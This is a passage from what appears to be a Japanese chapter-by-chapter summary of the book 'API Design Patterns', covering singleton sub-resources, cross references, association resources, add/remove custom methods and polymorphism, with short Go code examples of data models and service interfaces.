`json:\"updatedAt\"`}type DriverService interface { GetDriver(ctx context.Context, id string) (*Driver, error) UpdateDriver(ctx context.Context, driver *Driver) error GetDriverLocation(ctx context.Context, driverID string) (*DriverLocation, error) UpdateDriverLocation(ctx context.Context, location *DriverLocation) error ResetDriverLocation(ctx context.Context, driverID string) error}この例では、DriverリソースとDriverLocationシングルトンサブリソースを定義しています。DriverServiceインターフェースは、これらのリソースに対する操作を定義しています。シングルトンサブリソースの利点と課題著者は、シングルトンサブリソースの利点と課題について詳細に論じています。利点:データの分離: 頻繁に更新されるデータや大量のデータを分離することで、主リソースの管理が容易になります。細粒度のアクセス制御: 特定のデータに対して、より詳細なアクセス制御を実装できます。パフォーマンスの向上: 必要なデータのみを取得・更新することで、APIのパフォーマンスが向上します。課題:原子性の欠如: 親リソースとサブリソースを同時に更新することができないため、データの一貫性を維持するための追加の作業が必要になる場合があります。複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。これらの利点と課題を考慮しながら、シングルトンサブリソースの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: シングルトンサブリソースを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。特に、大規模なデータや頻繁に更新されるデータを扱う場合に有効です。セキュリティとアクセス制御: シングルトンサブリソースを使用することで、特定のデータに対してより細かいアクセス制御を実装できます。これは、セキュリティ要件が厳しい環境で特に重要です。システムの進化: シングルトンサブリソースパターンを採用することで、システムの将来的な拡張や変更が容易になります。新しい要件が発生した際に、既存のリソース構造を大きく変更することなく、新しいサブリソースを追加できます。マイクロサービスアーキテクチャとの親和性: シングルトンサブリソースの概念は、マイクロサービスアーキテクチャにおいてサービス間の境界を定義する際に特に有用です。例えば、ユーザープロファイルサービスと位置情報サービスを分離しつつ、両者の関連性を維持することができます。運用性と可観測性: シングルトンサブリソースを使用することで、特定のデータの変更履歴や更新頻度を独立して追跡しやすくなります。これにより、システムの運用性と可観測性が向上します。結論第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。シングルトンサブリソースは、特定のデータを親リソースから分離しつつ、強い関連性を維持する効果的な方法です。Get(取得)とUpdate(更新)のみをサポートし、作成と削除は親リソースに依存します。シングルトンサブリソースは、大規模データ、頻繁に更新されるデータ、特別なセキュリティ要件を持つデータの管理に特に有効です。このパターンを採用する際は、データの一貫性維持やAPI複雑性の増加といった課題にも注意を払う必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、シングルトンサブリソースの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。シングルトンサブリソースの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。13 Cross references「API Design Patterns」の第13章「Cross references」は、APIにおけるリソース間の参照の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソース間の参照が単なる技術的な実装の詳細ではなく、APIの柔軟性、一貫性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。リソース間参照の必要性と概要著者は、リソース間参照の必要性から議論を始めています。多くのAPIでは、複数のリソースタイプが存在し、これらのリソース間に関連性がある場合が多々あります。例えば、書籍リソースと著者リソースの関係などが挙げられます。これらの関連性を適切に表現し、管理することが、APIの使いやすさと柔軟性を向上させる上で重要です。著者は、リソース間参照の範囲について、以下のように分類しています。ローカル参照:同じAPI内の他のリソースへの参照グローバル参照:インターネット上の他のリソースへの参照中間的参照:同じプロバイダーが提供する異なるAPI内のリソースへの参照この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 13.1 Resources can point at others in the same API or in external APIs. より引用この図は、リソースが同じAPI内の他のリソース、外部APIのリソース、そしてインターネット上の任意のリソースを参照できることを示しています。これは、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービス、注文サービス、支払いサービスなど、複数のマイクロサービス間でリソースを相互参照する必要がある場合に、この概念が適用されます。著者は、リソース間参照の基本的な実装として、文字列型の一意識別子を使用することを提案しています。これにより、同じAPI内のリソース、異なるAPIのリソース、さらにはインターネット上の任意のリソースを統一的に参照することが可能になります。リソース間参照の実装著者は、リソース間参照の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。参照フィールドの命名: 著者は、参照フィールドの名前に「Id」サフィックスを付けることを推奨しています。例えば、BookリソースがAuthorリソースを参照する場合、参照フィールドはauthorIdと命名します。これにより、フィールドの目的が明確になり、APIの一貫性が向上します。動的リソースタイプの参照: 参照先のリソースタイプが動的に変化する場合、著者は追加のtypeフィールドを使用することを提案しています。これにより、異なるタイプのリソースを柔軟に参照できます。データ整合性: 著者は、参照の整合性(つまり、参照先のリソースが常に存在することを保証すること)を維持することの難しさを指摘しています。代わりに、APIクライアントが参照の有効性を確認する責任を負うアプローチを提案しています。値vs参照: 著者は、参照先のリソースデータをコピーして保持するか(値渡し)、単に参照を保持するか(参照渡し)のトレードオフについて議論しています。一般的に、参照を使用することを推奨していますが、特定の状況では値のコピーが適切な場合もあることを認めています。これらの原則を適用した、Golangでのリソース間参照の実装例を以下に示します。type Book struct { ID string `json:\"id\"` Title string `json:\"title\"` AuthorID string `json:\"authorId\"`}type Author struct { ID string `json:\"id\"` Name string `json:\"name\"`}type ChangeLogEntry struct { ID string `json:\"id\"` TargetID string `json:\"targetId\"` TargetType string `json:\"targetType\"` Description string `json:\"description\"`}この実装では、Book構造体がAuthorIDフィールドを通じてAuthor構造体を参照しています。また、ChangeLogEntry構造体は動的なリソースタイプを参照できるよう設計されています。リソース間参照の利点と課題著者は、リソース間参照の利点と課題について詳細に論じています。利点:柔軟性: リソース間の関係を柔軟に表現できます。一貫性: 参照の表現方法が統一され、APIの一貫性が向上します。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:データ整合性: 参照先のリソースが削除された場合、無効な参照(ダングリングポインタ)が発生する可能性があります。パフォーマンス: 関連するデータを取得するために複数のAPI呼び出しが必要になる場合があります。複雑性: 動的リソースタイプの参照など、一部の実装は複雑になる可能性があります。これらの利点と課題を考慮しながら、リソース間参照の適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: リソース間参照の概念は、マイクロサービス間でのデータの関連付けに直接適用できます。例えば、注文サービスがユーザーサービスのユーザーIDを参照する際に、この設計パターンを使用できます。スケーラビリティとパフォーマンス: 参照を使用することで、各リソースを独立して管理できるため、システムのスケーラビリティが向上します。ただし、関連データの取得に複数のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。データ整合性と可用性のトレードオフ: 強力なデータ整合性を維持しようとすると(例:参照先のリソースの削除を禁止する)、システムの可用性が低下する可能性があります。著者の提案する「緩やかな参照」アプローチは、高可用性を維持しつつ、整合性の問題をクライアント側で処理する責任を負わせます。APIの進化と後方互換性: リソース間参照を適切に設計することで、APIの進化が容易になります。新しいリソースタイプの追加や、既存のリソース構造の変更が、既存の参照に影響を与えにくくなります。監視と運用: リソース間参照を使用する場合、無効な参照の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。これは、システムの長期的な健全性を維持する上で重要な運用タスクとなります。結論第13章「Cross references」は、APIにおけるリソース間参照の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、一貫性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソース間参照は、単純な文字列型の識別子を使用して実装すべきです。参照フィールドの命名には一貫性が重要で、「Id」サフィックスの使用が推奨されます。データ整合性の維持は難しいため、クライアント側で参照の有効性を確認する責任を持たせるアプローチが推奨されます。値のコピーよりも参照の使用が一般的に推奨されますが、特定の状況では値のコピーが適切な場合もあります。GraphQLなどの技術を活用することで、リソース間参照に関連するパフォーマンスの問題を軽減できる可能性があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース間参照の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。リソース間参照の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。14 Association resources「API Design Patterns」の第14章「Association resources」は、多対多の関係を持つリソース間の関連性を扱うAPIデザインパターンについて詳細に解説しています。この章を通じて、著者は関連リソースの概念、その実装方法、そしてトレードオフについて明確に示し、APIの柔軟性、スケーラビリティ、そして長期的な保守性にどのように影響するかを説明しています。関連リソースの必要性と概要著者は、多対多の関係を持つリソースの管理がAPIデザインにおいて重要な課題であることを指摘しています。例えば、ユーザーとグループの関係や、学生と講座の関係などが典型的な例として挙げられます。これらの関係を効果的に表現し管理することは、APIの使いやすさと柔軟性を向上させる上で非常に重要です。関連リソースの概念は、データベース設計における結合テーブルに類似しています。APIの文脈では、この結合テーブルを独立したリソースとして扱うことで、関連性そのものに対する操作や追加のメタデータの管理が可能になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザー管理サービスとグループ管理サービスが別々に存在する場合、これらの間の関係を管理するための独立したサービスやAPIエンドポイントが必要になります。関連リソースのパターンは、このような複雑な関係を効果的に管理するための強力なツールとなります。著者は、関連リソースの基本的な構造として以下の要素を提案しています。独立したリソース識別子関連する両方のリソースへの参照関連性に関する追加のメタデータ(必要に応じて)これらの要素を含む関連リソースは、APIの中で独立したエンティティとして扱われ、標準的なCRUD操作の対象となります。関連リソースの実装著者は、関連リソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。命名規則: 関連リソースの名前は、関連する両方のリソースを反映させるべきです。例えば、ユーザーとグループの関連であれば「UserGroup」や「GroupMembership」などが適切です。標準メソッドのサポート: 関連リソースは通常のリソースと同様に、標準的なCRUD操作(Create, Read, Update, Delete, List)をサポートする必要があります。一意性制約: 同じリソースのペアに対して複数の関連を作成することを防ぐため、一意性制約を実装する必要があります。参照整合性: 関連リソースは、参照するリソースの存在に依存します。著者は、参照整合性の維持方法として、制約(関連するリソースが存在する場合のみ操作を許可)または参照の無効化(関連するリソースが削除された場合に関連を無効化する)のアプローチを提案しています。メタデータの管理: 関連性に関する追加情報(例:ユーザーがグループに参加した日時やロールなど)を保存するためのフィールドを提供します。これらの原則を適用した、関連リソースの実装例を以下に示します。type UserGroupMembership struct { ID string `json:\"id\"` UserID string `json:\"userId\"` GroupID string `json:\"groupId\"` JoinedAt time.Time `json:\"joinedAt\"` Role string `json:\"role\"`}type UserGroupService interface { CreateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) GetMembership(ctx context.Context, id string) (*UserGroupMembership, error) UpdateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) DeleteMembership(ctx context.Context, id string) error ListMemberships(ctx context.Context, filter string) ([]*UserGroupMembership, error)}この実装例では、UserGroupMembership構造体が関連リソースを表現し、UserGroupServiceインターフェースが標準的なCRUD操作を提供しています。関連リソースの利点と課題著者は、関連リソースのパターンの利点と課題について詳細に論じています。利点:柔軟性: 関連性そのものを独立したリソースとして扱うことで、関連に対する詳細な操作が可能になります。メタデータの管理: 関連性に関する追加情報を容易に管理できます。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。パフォーマンス: 関連データを取得するために追加のAPI呼び出しが必要になる場合があります。整合性の維持: 参照整合性を維持するための追加の仕組みが必要になります。これらの利点と課題を考慮しながら、関連リソースパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: 関連リソースのパターンは、マイクロサービス間のデータの関連付けに直接適用できます。例えば、ユーザーサービスとグループサービスの間の関係を管理する独立したサービスとして実装することができます。スケーラビリティとパフォーマンス: 関連リソースを独立して管理することで、システムのスケーラビリティが向上します。ただし、関連データの取得に追加のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。このトレードオフを管理するために、キャッシング戦略やバッチ処理の導入を検討する必要があるでしょう。データ整合性と可用性のトレードオフ: 参照整合性を厳密に維持しようとすると、システムの可用性が低下する可能性があります。一方で、緩やかな整合性を許容すると、無効な関連が一時的に存在する可能性があります。このトレードオフを適切に管理するために、非同期の整合性チェックやイベント駆動型のアーキテクチャの導入を検討することができます。APIの進化と後方互換性: 関連リソースパターンを採用することで、APIの進化が容易になります。新しいタイプの関連や追加のメタデータを導入する際に、既存のクライアントに影響を与えることなく拡張できます。監視と運用: 関連リソースを使用する場合、無効な関連の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。また、関連リソースの数が増加した場合のパフォーマンスの影響や、ストレージの使用量なども監視する必要があります。セキュリティとアクセス制御: 関連リソースに対するアクセス制御を適切に設計することが重要です。例えば、ユーザーがグループのメンバーシップを表示したり変更したりする権限を、きめ細かく制御する必要があります。クエリの最適化: 関連リソースを効率的に取得するためのクエリパラメータやフィルタリングオプションを提供することが重要です。例えば、特定のユーザーが所属するすべてのグループを一度に取得するような最適化されたエンドポイントを提供することを検討できます。バルク操作のサポート: 大量の関連を一度に作成、更新、削除する必要がある場合、バルク操作をサポートすることで効率性を向上させることができます。イベント駆動設計との統合: 関連リソースの変更(作成、更新、削除)をイベントとして発行することで、他のサービスやシステムコンポーネントが適切に反応し、全体的な整合性を維持することができます。ドキュメンテーションと開発者エクスペリエンス: 関連リソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。API利用者が関連リソースを簡単に作成、管理、クエリできるようなツールやSDKを提供することも検討すべきです。結論第14章「Association resources」は、多対多の関係を持つリソース間の関連性を管理するための重要なパターンを提供しています。このパターンは、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。関連リソースは、多対多の関係を独立したエンティティとして扱うことで、複雑な関係の管理を容易にします。標準的なCRUD操作をサポートし、関連性に関する追加のメタデータを管理できるようにすることが重要です。一意性制約と参照整合性の維持は、関連リソースの設計において重要な考慮事項です。このパターンは柔軟性と拡張性を提供しますが、APIの複雑性とパフォーマンスへの影響を慎重に検討する必要があります。マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは特に有用です。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。関連リソースのパターンを採用する際は、システム全体のアーキテクチャと密接に関連付けて考える必要があります。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。関連リソースパターンの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。また、このパターンは、ビジネスロジックの変更や新しい要件の追加に対して柔軟に対応できる基盤を提供します。最後に、関連リソースパターンの採用は、単なる技術的な決定ではなく、ビジネス要件とシステムの長期的な目標を考慮した戦略的な選択であるべきです。適切に実装された関連リソースは、複雑なビジネスルールや関係性を効果的に表現し、システムの価値を長期的に高めることができます。API設計者とシステム設計者は、この強力なパターンを理解し、適切に活用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。15 Add and remove custom methods「API Design Patterns」の第15章「Add and remove custom methods」は、多対多の関係を持つリソース間の関連性を管理するための代替パターンについて詳細に解説しています。この章を通じて、著者はカスタムのaddおよびremoveメソッドを使用して、関連リソースを導入せずに多対多の関係を管理する方法とそのトレードオフについて明確に示しています。動機と概要著者は、前章で紹介した関連リソースパターンが柔軟性が高い一方で、複雑さも増すことを指摘しています。そこで、より単純なアプローチとして、カスタムのaddおよびremoveメソッドを使用する方法を提案しています。このパターンは、関係性に関するメタデータを保存する必要がない場合や、APIの複雑さを抑えたい場合に特に有効です。このアプローチの核心は、リソース間の関係性を管理するための専用のリソース(関連リソース)を作成せず、代わりに既存のリソースに対してaddとremoveの操作を行うことです。例えば、ユーザーとグループの関係を管理する場合、AddGroupUserやRemoveGroupUserといったメソッドを使用します。この設計パターンは、マイクロサービスアーキテクチャにおいて特に興味深い応用が考えられます。例えば、ユーザー管理サービスとグループ管理サービスが分離されている環境で、これらのサービス間の関係性を簡潔に管理する方法として活用できます。このパターンを採用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することが可能になります。著者は、このパターンの主な制限事項として以下の2点を挙げています。関係性に関するメタデータを保存できないリソース間の関係性に方向性が生まれる(管理するリソースと管理されるリソースが明確に分かれる)これらの制限は、システムの設計と実装に大きな影響を与える可能性があるため、慎重に検討する必要があります。実装の詳細著者は、addおよびremoveカスタムメソッドの実装について詳細なガイダンスを提供しています。主なポイントは以下の通りです。メソッド名の規則: AddおよびRemoveの形式を使用します。例えば、AddGroupUserやRemoveGroupUserといった具合です。リクエストの構造: これらのメソッドは、管理するリソース(親リソース)と関連付けるリソースのIDを含むリクエストを受け取ります。関連リソースの一覧取得: 関連付けられたリソースの一覧を取得するために、カスタムのリストメソッドを提供します。例えば、ListGroupUsersやListUserGroupsといったメソッドです。データの整合性: 重複した関連付けや存在しない関連の削除といった操作に対して、適切なエラーハンドリングを実装する必要があります。これらの原則を適用した実装例を、Golangを用いて示すと以下のようになります。type GroupService interface { AddGroupUser(ctx context.Context, groupID, userID string) error RemoveGroupUser(ctx context.Context, groupID, userID string) error ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) ListUserGroups(ctx context.Context, userID string, pageToken string, pageSize int) ([]*Group, string, error)}func (s *groupService) AddGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 重複チェック、存在チェック、データベース操作など return nil}func (s *groupService) RemoveGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 存在チェック、データベース操作など return nil}func (s *groupService) ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) { // 実装の詳細... // ページネーション処理、データベースクエリなど return users, nextPageToken, nil}この実装例では、GroupServiceインターフェースがaddとremoveのカスタムメソッド、および関連リソースの一覧を取得するためのメソッドを定義しています。これらのメソッドは、グループとユーザー間の関係性を管理するための基本的な操作を提供します。利点と課題著者は、このパターンの主な利点と課題について詳細に論じています。利点:シンプルさ: 関連リソースを導入せずに多対多の関係を管理できるため、APIの構造がシンプルになります。実装の容易さ: 既存のリソースに対するカスタムメソッドとして実装できるため、新しいリソースタイプを導入する必要がありません。パフォーマンス: 関連リソースを介さずに直接操作できるため、特定のシナリオではパフォーマンスが向上する可能性があります。課題:メタデータの制限: 関係性に関する追加のメタデータ(例:関連付けられた日時、関連の種類など)を保存できません。方向性の制約: リソース間の関係に明確な方向性が生まれるため、一部のユースケースでは直感的でない設計になる可能性があります。柔軟性の低下: 関連リソースパターンと比較して、関係性の表現や操作の柔軟性が低下します。これらの利点と課題を考慮しながら、システムの要件に応じてこのパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: addとremoveカスタムメソッドを使用することで、特定のシナリオではシステムのスケーラビリティとパフォーマンスが向上する可能性があります。例えば、大規模なソーシャルネットワークアプリケーションで、ユーザー間のフォロー関係を管理する場合、このパターンを使用することで、関連リソースを介さずに直接的かつ効率的に関係性を操作できます。運用の簡素化: このパターンを採用することで、関連リソースの管理が不要になるため、システムの運用が簡素化される可能性があります。例えば、データベースのスキーマがシンプルになり、マイグレーションやバックアップの複雑さが軽減されます。マイクロサービスアーキテクチャとの親和性: このパターンは、マイクロサービス間の関係性を管理する際に特に有用です。例えば、ユーザーサービスとコンテンツサービスが分離されている環境で、ユーザーがコンテンツに「いいね」をつける機能を実装する場合、このパターンを使用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することができます。API進化の容易さ: 関連リソースを導入せずに関係性を管理できるため、APIの進化が容易になる可能性があります。新しい種類の関係性を追加する際に、既存のリソースに新しいカスタムメソッドを追加するだけで対応できます。監視と可観測性: addとremoveの操作が明示的なメソッドとして定義されているため、これらの操作の頻度や性能を直接的に監視しやすくなります。これにより、システムの挙動をより細かく把握し、最適化の機会を見出すことができます。セキュリティとアクセス制御: カスタムメソッドを使用することで、関係性の操作に対する細かなアクセス制御を実装しやすくなります。例えば、特定のユーザーグループのみがグループにメンバーを追加できるようにするといった制御が容易になります。バッチ処理とバルク操作: このパターンは、大量の関係性を一度に操作する必要がある場合にも適しています。例えば、AddGroupUsersやRemoveGroupUsersといったバルク操作用のメソッドを追加することで、効率的な処理が可能になります。イベント駆動アーキテクチャとの統合: addやremove操作をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。例えば、ユーザーがグループに追加されたときに、通知サービスや権限管理サービスにイベントを発行し、適切なアクションを起こすことができます。結論第15章「Add and remove custom methods」は、多対多の関係を管理するための代替パターンとして、カスタムのaddおよびremoveメソッドの使用を提案しています。このパターンは、APIの複雑さを抑えつつ、効率的に関係性を管理したい場合に特に有効です。特に重要な点は以下の通りです。このパターンは、関連リソースを導入せずに多対多の関係を管理できるため、APIの構造をシンプルに保つことができます。addとremoveのカスタムメソッドを使用することで、関係性の操作が明示的かつ直感的になります。関係性に関するメタデータを保存できないという制限があるため、適用する前にユースケースを慎重に検討する必要があります。このパターンは、マイクロサービスアーキテクチャやイベント駆動アーキテクチャとの親和性が高く、効率的なシステム設計を可能にします。運用の簡素化、監視の容易さ、セキュリティ制御の柔軟性など、システム全体の管理性向上にも貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。ただし、このパターンの採用を検討する際は、システムの要件と制約を慎重に評価する必要があります。関係性に関するメタデータが重要である場合や、リソース間の関係に明確な方向性を持たせたくない場合は、前章で紹介された関連リソースパターンの方が適している可能性があります。最後に、API設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。addとremoveカスタムメソッドのパターンを採用する際は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にどのように貢献するかを常に考慮する必要があります。適切に実装されたこのパターンは、システムの進化と拡張を容易にし、長期的な保守性を向上させる強力なツールとなります。API設計者とシステム設計者は、このパターンの利点と制限を十分に理解し、プロジェクトの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは複雑な関係性を効率的に管理するための強力な選択肢となり得ます。16 Polymorphism「API Design Patterns」の第16章「Polymorphism」は、APIにおけるポリモーフィズムの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はオブジェクト指向プログラミングの強力な概念であるポリモーフィズムをAPIデザインに適用する方法と、それがAPIの柔軟性、保守性、そして長期的な進化可能性にどのように影響を与えるかを明確に示しています。ポリモーフィズムの必要性と概要著者は、オブジェクト指向プログラミング(OOP)におけるポリモーフィズムの概念から議論を始めています。ポリモーフィズムは、異なる具体的な型に対して共通のインターフェースを使用する能力を提供し、特定の型と対話する際に理解する必要がある実装の詳細を最小限に抑えます。著者は、この強力な概念をオブジェクト指向プログラミングの世界からリソース指向のAPIデザインの世界に翻訳する方法を探求しています。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、メッセージングサービスを考えてみましょう。テキストメッセージ、画像メッセージ、音声メッセージなど、様々な種類のメッセージが存在する可能性があります。これらのメッセージタイプは共通の特性(送信者、タイムスタンプなど)を持ちながら、それぞれ固有の属性(テキスト内容、画像URL、音声ファイルの長さなど)も持っています。ポリモーフィックリソースを使用することで、これらの異なるメッセージタイプを単一のMessageリソースとして扱い、共通の操作(作成、取得、一覧表示など)を提供しつつ、各タイプに固有の属性や振る舞いを維持することができます。これにより、APIの一貫性が向上し、クライアントの実装が簡素化されます。著者は、ポリモーフィックリソースの基本的な構造として以下の要素を提案しています。一意の識別子リソースのタイプを示す明示的なフィールド共通の属性タイプ固有の属性これらの要素を組み合わせることで、APIは柔軟で拡張可能なリソース表現を提供することができます。ポリモーフィックリソースの実装著者は、ポリモーフィックリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。タイプフィールドの定義: リソースのタイプを示すフィールドは、単純な文字列として実装することが推奨されています。これにより、新しいタイプの追加が容易になります。データ構造: ポリモーフィックリソースは、すべてのサブタイプの属性をカバーするスーパーセットとして設計されます。これにより、各タイプに固有の属性を柔軟に扱うことができます。バリデーション: タイプに応じて異なるバリデーションルールを適用する必要があります。例えば、テキストメッセージと画像メッセージでは、contentフィールドの有効な値が異なります。標準メソッドの実装: ポリモーフィックリソースに対する標準的なCRUD操作は、通常のリソースと同様に実装されますが、タイプに応じて異なる振る舞いを持つ可能性があります。これらの原則を適用した、Golangでのポリモーフィックリソースの実装例を以下に示します。type MessageType stringconst ( TextMessage MessageType = \"text\" ImageMessage MessageType = \"image\" AudioMessage MessageType = \"audio\")type Message struct { ID string `json:\"id\"` Type MessageType `json:\"type\"` Sender string `json:\"sender\"` Timestamp time.Time `json:\"timestamp\"` Content interface{} `json:\"content\"`}type TextContent struct { Text string `json:\"text\"`}type ImageContent struct { URL string `json:\"url\"` Width int `json:\"width\"` Height int `json:\"height\"`}type AudioContent struct { URL string `json:\"url\"` Duration float64 `json:\"duration\"`}func (m *Message) Validate() error { switch m.Type { case TextMessage: if _, ok := m.Content.(TextContent); !ok { return errors.New(\"invalid content for text message\") } case ImageMessage: if _, ok := m.Content.(ImageContent); !ok { return errors.New(\"invalid content for image message\") } case AudioMessage: if _, ok := m.Content.(AudioContent); !ok { return errors.New(\"invalid content for audio message\") } default: return errors.New(\"unknown message type\") } return nil}この実装例では、Message構造体がポリモーフィックリソースを表現し、Contentフィールドがinterface{}型を使用することで、異なるタイプのコンテンツを柔軟に扱えるようになっています。Validateメソッドは、メッセージタイプに応じて適切なバリデーションを行います。ポリモーフィズムの利点と課題著者は、APIにおけるポリモーフィズムの利点と課題について詳細に論じています。利点:柔軟性: 新しいリソースタイプを追加する際に、既存のAPIメソッドを変更する必要がありません。一貫性: 共通の操作を単一のインターフェースで提供することで、APIの一貫性が向上します。クライアントの簡素化: クライアントは、異なるタイプのリソースを統一的に扱うことができます。課題:複雑性の増加: ポリモーフィックリソースの設計と実装は、単一タイプのリソースよりも複雑になる可能性があります。パフォーマンス: タイプに応じた処理が必要なため、一部のケースでパフォーマンスが低下する可能性があります。バージョニングの難しさ: 新しいタイプの追加や既存タイプの変更が、既存のクライアントに影響を与える可能性があります。これらの利点と課題を考慮しながら、ポリモーフィズムの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: ポリモーフィックリソースは、マイクロサービス間でのデータの一貫した表現に役立ちます。例えば、通知サービスが様々な種類の通知(メール、プッシュ通知、SMSなど)を統一的に扱う場合に有用です。スケーラビリティとパフォーマンス: ポリモーフィックリソースを適切に設計することで、新しいリソースタイプの追加が容易になり、システムの拡張性が向上します。ただし、タイプチェックやバリデーションのオーバーヘッドに注意が必要です。運用の簡素化: 共通のインターフェースを使用することで、監視、ログ記録、デバッグなどの運用タスクが簡素化される可能性があります。例えば、すべてのメッセージタイプに対して統一的なログフォーマットを使用できます。APIの進化と後方互換性: ポリモーフィックリソースを使用することで、新しいリソースタイプの追加が容易になります。ただし、既存のタイプを変更する際は、後方互換性に十分注意を払う必要があります。ドキュメンテーションと開発者エクスペリエンス: ポリモーフィックリソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。バリデーションとエラーハンドリング: タイプに応じた適切なバリデーションを実装し、エラーメッセージを明確に定義することが重要です。これにより、APIの信頼性と使いやすさが向上します。キャッシング戦略: ポリモーフィックリソースのキャッシングは複雑になる可能性があります。タイプに応じて異なるキャッシュ戦略を適用することを検討する必要があります。セキュリティとアクセス制御: 